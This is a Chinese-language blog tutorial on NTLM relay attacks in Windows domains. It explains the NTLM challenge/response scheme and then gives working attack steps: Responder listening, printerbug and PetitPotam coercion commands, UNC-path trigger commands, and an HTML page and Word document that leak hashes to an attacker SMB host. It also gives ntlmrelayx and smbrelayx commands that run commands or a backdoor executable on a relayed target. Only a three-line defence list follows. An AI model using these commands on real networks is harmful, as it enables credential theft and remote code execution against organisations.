内网域中NTLM中继那些事儿

最新推荐文章于 2024-09-27 13:01:10 发布
最新推荐文章于 2024-09-27 13:01:10 发布
阅读量893 收藏 9
点赞数 20
分类专栏： 内网渗透 文章标签： 网络安全 安全 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_62169455/article/details/139400165
版权

0x01 初识NTLM协议

基本概念：NTLM(NT LAN Manager)认证是一种早期的Windows网络身份认证协议。它在Windows系统中用于验证用户的身份，并提供对网络资源的访问控制，它是一种基于Challenge/Response的认证机制。

认证流程

NTLM协议Challenge/Response认证机制：

1.协商：双方先确定一下传输协议的版本等各种信息

2.质询：这一步是挑战/响应的关键一步

3.验证：对质询的最后一个结果进行验证，验证通过之后，即允许访问资源

NTLM协议Challenge/Response认证流程：

  1. 首先，client会向server发起请求连接协商一些相关东西

  2. server就会在本地生成一个（16位或8位）随机字符，即Challenge,并将Challenge传给client

  3. 当client接收到Challenge时，将username的NTLM-hash对Challenge进行加密（加密过程中会利用到用户名、域名、机器名等相关信息），生成Response，并将Response发送给server

  4. server在收到Response后，将其和相同的方式进行加密生成另一个Response,如果相同，则验证成功，如果不同就失败

Challenge和Response分析

Challenge：client向server发起协商后，server会随机产生一个Challenge值给client，它是无法预估的，每一次值都不会一样

Response：response=NTProofStr+blob

NTProofStr=将NTLM-V2-HASH(key)和(challenge+blob)两个进行HMAC-MD5加密

NTLM-V2-HASH=（大写的用户名+域名）编码成Unicode格式和用户密码的hash值(key)两个进行HMAC-MD5加密

blob：是由时间，目标信息，随机填充字符生成

因此在我们平时使用工具进行攻击的时候抓到的都是Net-NTML-Hash的数据

Net-NTML-Hash：username:domain:challenge:NTProofStr:blob

0x02 NTLM  Relay介绍

中继原理

如下图所示，在认证的整个流程中，攻击者充当一个中间人，此时，在客户端的眼中，他就是服务端，而在服务端的眼中，他又是客户端。通过这种方式，攻击者就可以伪造客户端来完成身份验证，而在服务端看来一直只有攻击者在跟他交互，所以全程就会把攻击者认为是客户端，这样攻击者就达到了伪造客户端的目的。

图片

中继步骤

  1. 获得受害者Net-NTLM Hash

  2. 使用Net-NTLM Hash进行重放攻击

注：因为Net-NTLM Hash不能直接发送给电脑，必须要有一个应用层协议来进行封装，如SMB、HTTP、RPC、LDAP，但是能不能中继到该协议，还需要看一下该协议是否有漏洞，是否支持等等

0x03 捕获Net-NTLM Hash 

捕获NET-NTLM的方式有很多，捕获阶段分为两步：

1.在B电脑上发起监听

2.A电脑发送认证信息

图片

利用打印机漏洞

kali开启监听

responder -I 监听网卡名 -wd

图片

Windows的MS-RPRN协议用于打印客户端和服务器之前的通信，默认情况下是启用的。该协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()方法调用会创建一个远程更改通知对象，该对象对打印机对象的更改进行监视，并将更改通知发送到客户端。任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新，令其将该通知发送给指定目标，之后它将立即测试该连接，即向指定目标进行身份验证。

python3 printerbug.py '域名/账号:密码@目标ip' 'kali_ip'

图片

回到刚才监听的窗口，发现以经捕获到Net-NTLM Hash

图片

利用PetitPotam漏洞

该漏洞利用了微软加密文件系统远程协议（MS-EFSRPC）, MS-EFSRPC用于对远程协议存储和通过网络访问的数据执行维护和管理操作。利用PetitPotam，安全研究院可以通过连接到LSARPC强制触发目标机器向指定的远程服务器发送Net-NTLM Hash

python3 PetitPotam.py -d abc.com -u anna -p 'admin!@#45@192.168.24.66' -pipe all listener 192.168.24.25

图片

图片

利用LLMNR&NBNS攻击

我们知道，在电脑的认证机制中，默认是以当前账号密码进行认证，所以，该攻击方式的原理就是当用户任意输入一个不存在的名称，本地hosts文件和DNS服务器均不能正常解析该名称，于是系统就会发送LLMNR/NBNS数据包请求解析。攻击者收到请求后告诉客户端自己是不存在的名称要求客户端发送给Net-NTLM Hash进行认证，这样攻击者就可以收到客户端发来的Net-NTLM Hash。

图片

图片

利用系统命令

通过执行系统命令，访问指定的UNC路径，也可以获取到目标机器的Net-NTLM Hash,能够触发Net-NTLM Hash的常见命令如下：

net.exe use \hostshareattrib.exe \hostsharecacls.exe \hostsharecertreq.exe \hostsharecertutil.exe \hostsharecipher.exe \hostshareClipUp.exe -l \hostsharecmdl32.exe \hostshare等等，网上还有很多，可自行查阅

利用钓鱼网页

在网页中嵌入一段js脚本来触发NTLM认证,可配合XSS、文件上传、XXE​​​​​​​

<!DOCTYPE html><html lang="en"><head>  <meta charset="UTF-8"></head><body></body>  <script src="\\192.168.24.50\test"></script></html>

利用office文档

msf创建

msfconsoleuse auxiliary/docx/word_unc_injectorset lhost iprun

将生成的文档放到目标主机上执行，这里之前已经抓过了，所以就是下图所看到的回显：

图片

  • 手动创建

先创建一个word文件，然后再文档里面放一个图片，退出保存，使用7z打开找到document.xml.rels文件，将图片路径，改为：

Target="\\192.168.24.55\test" TargetMode="External"

图片

这里我使用的word文件，不知道是不是版本

利用系统图标

每个文件夹内都会有一个隐藏文件desktop.ini用来指定和存储文件夹图标，默认是不可见的，只需要在控制面板中去掉“隐藏受保护的操作系统文件”即可

图片

然后新建一个文件夹，每个文件夹下面都有，如果没有的话，就修改图标路径即可，将图标路径改为一个存在的主机ip

图片

再去访问该文件

图片

利用SCF文件

SCF文件是“Windows资源管理器命令”文件，scf文件时包含了lconFile属性，所以Explore.exe会尝试获取文件的图标，而lconFile属性是支持UNC路径的，所以我们也可以通过这里的lconFile属性来捕获Net-NTLM Hash

利用PDF文件

当用户使用PDF阅读器打开一份恶意的PDF文档，该PDF会向远程SMB服务器发出请求，如果该远程SMB服务器对数据包进行抓取，就能够获得用户Windows系统的Net NTLM Hash，通过进一步破解就有可能获得用户系统的明文密码。

图片

利用用户头像

在更改用户头像时，如果普通用户验证图片通过，那么system用户就会去访问192.168.24.102，并且携带用户凭据，就可以捕获Net-NTLM Hash

图片

0x04 NTLM Relay利用

自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上，除非进行跨协议转发，但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是，在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外，所有的Windows操作系统都默认关闭了 SMB签名。

简单说就是，A登陆了administrator这个账户，我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A，但是如果域内的B也可以通过administrator这个账户登录，那我们可以把从A处获得的Hash传递给B，拿到B处的administrator权限

MultiRelay.py

修改Responder的配置文件，关闭SMB和HTTP  （kali自带multiRelay.py  文件路径：/usr/share/responder/tools）

vim /usr/share/responder/Responder.conf

图片

python3 MultiRelay.py -t 192.168.24.102 -u ALL 

图片

然后在被控主机上使用错误的UNC就能够触发smb，从而获得目标主机的shell

ntlmrelayx.py

impacket文件下载：https://github.com/CoreSecurity/impacket.git

./ntlmrelayx.py -t 192.168.24.102 -c "ipconfig" -smb2support

然后在被控主机上触发smb

图片

回到kali中，得到ipconfig结果

图片

如果要得到交互式shell,在-c后面接上powershell即可

smbrelayx.py

./smbrelayx.py -h 192.168.24.102 -c whoami

同样在被控主机上触发smb

图片

如果要得到交互式shell,利用CS或msf生成后门文件，并开启监听

./smbrelayx.py -h 192.168.24.101 -e /home/gxy/桌面/shell.exe

同样在被控主机上触发smb，此时cs或者msf即可得到shell

0x05 NTLM Relay防御

  • 在所有网络节点上使用SMB签名

  • 禁用 NBNS 和 LLMNR 协议

  • 定期更新系统

如果您对免杀对抗内网渗透感兴趣，想要深入探讨、交流并学习更多相关内容，欢迎各位师傅加入官方技术交流群!!!（扫描下方二维码，关注公众号【赤鸢安全】，回复【加群】，添加管理员微信，拉您进群）

香芋味儿的霜
关注
专栏目录
内网域渗透文档过程有截图
07-02
内网域渗透文档过程 本资源总结了内网域渗透测试的整个过程，从设置虚拟机网络环境到生成 payload 并进行渗透测试。下面是本资源中所涉及的知识点： 1. 虚拟机网络环境设置：在 VMware 中设置虚拟机网络环境，使用...
2021-10-15NTLM中继攻击（ntlm delay）
qq_45290991的博客
10-15 2370
终于结束了，虽然没有毕业后成为一名red进入鹅产，但是到了小产业也感觉很好。齐名虽然年轻，但是朝气蓬勃。 我觉得同事都很开心，搞渗透测试运维也不错驻场。 一、原理 1.1ntlm认证机制 参考资料：Windows本地认证和NTLM认证 总的来说就是windows下有2种认证机制，kerb和ntlm（ntlm又分为第一版本和第二版本），kb用于域内，一般是kb优先用，不行了域内才会开始用ntlm。win2000以后，ntlm认证方式的hash（密码）都会被存入到SAM文件中，域内会存入ntdl。tdl
内网安全：NTLM-Relay
qq_61553520的博客
01-28 1758
有NTLM Hash，直接PTH；没有NTLM Hash，尝试抓取Net NTLM Hash，暴力破解明文密码，中继攻击。
域渗透之Ntlm Relay详解
weixin_65550121的博客
12-08 1005
Ntlm Rleay翻译过来就是Ntlm 中继的意思，也肯定是跟Ntlm协议是相关的，既然要中继，那么攻击者扮演的就是一个中间人的角色，类似于ARP欺骗，ARP欺骗就是在一个广播域中发送一些广播，然后大声问这个IP地址的MAC地址是多少啊？？？如果有不怀好意的人回答了，那么就造成了ARP欺骗，好似一个中间人攻击。
NTLM/smb 中继攻击
灰太的表格的博客
10-19 1297
NTLM/smb 中继攻击
学习笔记-NTLM中继
人饭子的博客
11-01 471
NTLM中继 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. NTLM hash 分为 NTLMv1 NTLMv2 NTLMv2 session 三种，NTLMv2 的强度比 NTLMv1 强了不少 ，我们在实战中，如果获得的是 NTLMv1 的话直接对其进行爆破就行了，而现实情况中我们遇到的是 NTLMv2，NTLMv2 的密...
一文带你了解NTLM Realy 攻击
qq_44005305的博客
09-11 126
NTLM Realy 攻击其实应该称为Net-NTLM Realy 攻击，它发生在NTLM认证的第三步，在Response 消息中存在Net-NTLMHash,当攻击者获得了 Net-NTLM Hash 后，可以重放Net-NTLM Hash 进行中间人攻击。NTLM Realy 流程如图所示，攻击者作为中间人在客户端和服务器之间转发NTLM认证数据包，从而模拟客户端身份访问服务端的资源。NTLM Relay 攻击分为两步：第一步是捕获 Net-NTLM Hash;
内网域渗透思维导图指北
10-04
内网域渗透思维导图指北
domainTools:内网域渗透小工具
03-20
我的C ++学习过程-编写的域渗透小工具 0x01。 NetLocalGroupGetMembers 功能：查询目标服务器本地管理组的成员 0x02。 NetLocalGroupEnum 功能：返回指定服务器上的所有本地组 0x03。 NetGroupGetUsers ...
网域星云mib 信息
06-01
在IT领域，MIB（Management Information Base）是网络管理中的一个重要概念，主要用于描述网络设备的状态、配置和性能等信息。MIB文件是SNMP（Simple Network Management Protocol）协议的一部分，它提供了一种标准...
网域账号管理工具
12-21
网域账号管理工具,管理网域账号网域账号管理工具,管理网域账号网域账号管理工具,管理网域账号网域账号管理工具,管理网域账号
没有人比我更了解NTLM协议
weixin_65550121的博客
12-10 1571
其实简单来说，就是客户端去访问SMB服务的时候，需要输入服务端的账号和密码，来进行校验身份，此时客户端会将服务端的密码存储在自己的本地中，然后当服务端发送过来的质询消息中包含质询值发送过来的时候，客户端会将之前保存服务端的那个密码的hash，对这个质询值进行加密，加密之后封装成认证消息发送给服务端，服务端紧接着用自己的密码也对质询值进行加密。没有定义的话，就是使用的默认值。②：服务端接收到客户端发送过来的Type 1消息后，会读取其中的内容，并从中选择出自己所能接受的服务内容，加密等级，安全服务等。
域渗透｜NTLM 中继攻击
weixin_42282189的博客
09-21 907
作者： r0n1n 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。 0x01 前言 进入内网之后想获取运维人员（特定人员）的系统密码，在已经获得内网Linux或者代理隧道的前提下利用社会工程学或者水坑攻击的方式来获取特定机器的权限。 0x02 协议 1、NTLMHash：将明文口令转换成十六进制，转换成Unicode格式，然后对Unicode字符串进行MD4加密，这个结果就是32位的十六进制NTLMhash。 2、NTLM协议认证过程 1、客户端向服务器发送包含 “登录名”的请.
跟着玄武大佬学NTLM relay攻防
蚁景网安学院
05-06 599
0X01偶然间看到了玄武实验室在2018Zero Nights会议上的分享的议题《NtlmRelay Reloaded: Attack methods you do notknow》，身...
使用ntlmrelayx在任何地方进行中继凭据
weixin_30642305的博客
04-09 677
0x00 前言 通过Fox-IT我们可以让客户了解其企业组织中出现的常见安全风险。当攻击者可以利用NT LAN Manager身份验证协议（以下简称：NTLM身份验证）时，凭据重用就有这样的风险，即这种协议通常在Microsoft Active Directory中保持启用状态。NTLM认证中的不安全性已有超过15年。该协议可能被滥用，是通过一个被称为“中继”的过程劫持受害者的会话，...
NTLM 中继攻击的几种非主流玩法
systemino的博客
11-17 2602
在企业组织中的常见的一种安全风险是凭证重用，当攻击者攻击 NT LAN Manager 身份验证协议(以下简称 NTLM 身份验证)时就会出现这样的风险，而这个协议通常会在 微软的 活动目录 中默认启用。 NTLM 认证中的不安全性已经被安全研究人员发现超过15年了。该协议可以被滥用，通过一个称为“中继”的过程劫持受害者的会话，该过程通过将受害者的凭证转发到与预期不同的服务来滥用受害者的凭...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8481
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
部标主动安全（ADAS+DMS）对接说明
最新发布
谁念西风独自凉
09-27 586
上一篇介绍了，这里说一下如何对接主动安全附件服务器。流媒体的对接主要牵扯到4个方面：（1）平台端：业务端系统，包含前端呈现界面。（2）JT/T808网关：部标设备接入网关，这个是非常重要的，是设备与平台进行数据交换的桥梁，流媒体相关的指令操作也必须依赖它完成。（3）部标视频机：符合JT/T808协议的车载视频机器。（4）流媒体服务：符合苏标、粤标、川标、陕标协议的主动安全附件服务，接收文件流，并存储。
【车联网安全】车端网络攻击及检测的框架/模型
#7的博客
09-24 1452
本文主要调研了车联网安全的一些攻击及检测的模型/框架，对国家标准进行了调研，并汇总上述调研内容。
内网域控信息需要收集哪些
03-31
1.域名（Domain Name） 2.域控制器IP地址（Domain Controller IP Address） 3.域管理员账户信息（Domain Administrator Account Information） 4.域控制器操作系统信息（Domain Controller Operating System Information） 5.域用户账户信息（Domain User Account Information） 6.域组账户信息（Domain Group Account Information） 7.域策略信息（Domain Policy Information） 8.域安全事件日志（Domain Security Event Logs） 9.域用户登录日志（Domain User Login Logs） 10.域组成员信息（Domain Group Member Information） 11.域计算机信息（Domain Computer Information） 12.域名服务器信息（Domain Name Server Information） 13.域控制器配置信息（Domain Controller Configuration Information） 14.域控制器远程访问日志（Domain Controller Remote Access Logs） 15.域控制器备份和恢复信息（Domain Controller Backup and Recovery Information）
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值